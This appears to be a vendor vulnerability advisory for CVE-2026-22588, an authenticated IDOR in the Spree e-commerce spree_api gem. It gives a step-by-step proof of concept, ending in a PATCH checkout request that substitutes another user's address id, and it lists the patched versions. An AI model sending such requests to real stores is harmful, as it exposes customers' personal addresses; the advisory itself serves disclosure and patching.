CVE-2026-22588 is a medium-severity (CVSS 6.5) CWE-639 vulnerability in spree_api. A fix is available for spree_api — see the affected versions and patch details below.
Spree API has Authenticated Insecure Direct Object Reference (IDOR) via Order Modification
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-22588.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
CVE-2026-22588 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 378,567 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
spree_api💎spree_api💎spree_api💎spree_apiReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects RubyGems packages — download data is not available via public APIs for these ecosystems.
Description
Summary
An Authenticated Insecure Direct Object Reference (IDOR) vulnerability was identified that allows an authenticated user to retrieve other users’ address information by modifying an existing order. By editing an order they legitimately own and manipulating address identifiers in the request, the backend server accepts and processes references to addresses belonging to other users, subsequently associating those addresses with the attacker’s order and returning them in the response.
Details
Affected Component(s)
- Authenticated user order management
- Address association logic
- Order update endpoint(s) Affected Endpoint(s):
/api/v2/storefront/checkout
The application fails to enforce proper object-level authorization when updating an existing order. While the user is authenticated and authorized to modify their own order, the backend does not verify that the supplied address identifiers belong to the same authenticated user.
PoC
Preconditions
- Valid authenticated user account
Step 1: Log-in using a valid user, in this case [email protected] Step 2: Visualize current user’s addresses
Request
GET /account/addresses
The following screenshot shows [email protected] address.
<img width="336" height="375" alt="User Address" src="https://github.com/user-attachments/assets/ceb1f214-7ac0-40b0-af22-6fe9d21254bb" />Step 3: Initialize the Shopping Cart
Request
POST /api/v2/storefront/cart HTTP/1.1
From the response, extract the token marked in bold.
Step 4: Legitimate Order Edit Request
Using the obtained order token A1cram_6cFWpoj4V1yPkuQ1767113871701 perform an edit order request in order to add a custom billing address
Request
PATCH /api/v2/storefront/checkout
{
"include": "billing_address",
"order": {
"email": "[email protected]",
"bill_address_attributes": {
"firstname":"CTF","lastname":"Tester","address1":"123 Main St",
"city":"Andorra la Vella","zipcode":"AD100","country_iso":"AD"
},
"ship_address_attributes": {
"firstname":"CTF","lastname":"Tester","address1":"123 Main St",
"city":"Andorra la Vella","zipcode":"AD100","country_iso":"AD"
}
}
}
Step 5: Modify the order request to include the other user's address and trigger the IDOR.
In this request, the attacker modifies the request by substituting the address identifier with one belonging to another user, thereby rendering the original address identifier accessible to the attacker.
Request
PATCH /api/v2/storefront/checkout
{"include":"billing_address","order":**{"bill_address_attributes":{"id":1}}**}
As can be seen other user's address is displayed.
Impact
As a result, an attacker can:
- Replace the address identifier with one belonging to another user
- Cause the backend to associate and return another user’s address within the attacker’s order
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 💎RubyGems | spree_api | ≥ 3.7.0&&< 4.10.2 | 4.10.2bundle update spree_api --conservative |
| 💎RubyGems | spree_api | ≥ 5.0.0&&< 5.0.7 | 5.0.7bundle update spree_api --conservative |
| 💎RubyGems | spree_api | ≥ 5.1.0&&< 5.1.9 | 5.1.9bundle update spree_api --conservative |
| 💎RubyGems | spree_api | ≥ 5.2.0&&< 5.2.5 | 5.2.5bundle update spree_api --conservative |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for spree_api, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update spree_api to 4.10.2 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-22588 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-22588 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2026-22588. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2026-22588 in your dependencies?
O3 Security finds CVE-2026-22588 across RubyGems dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.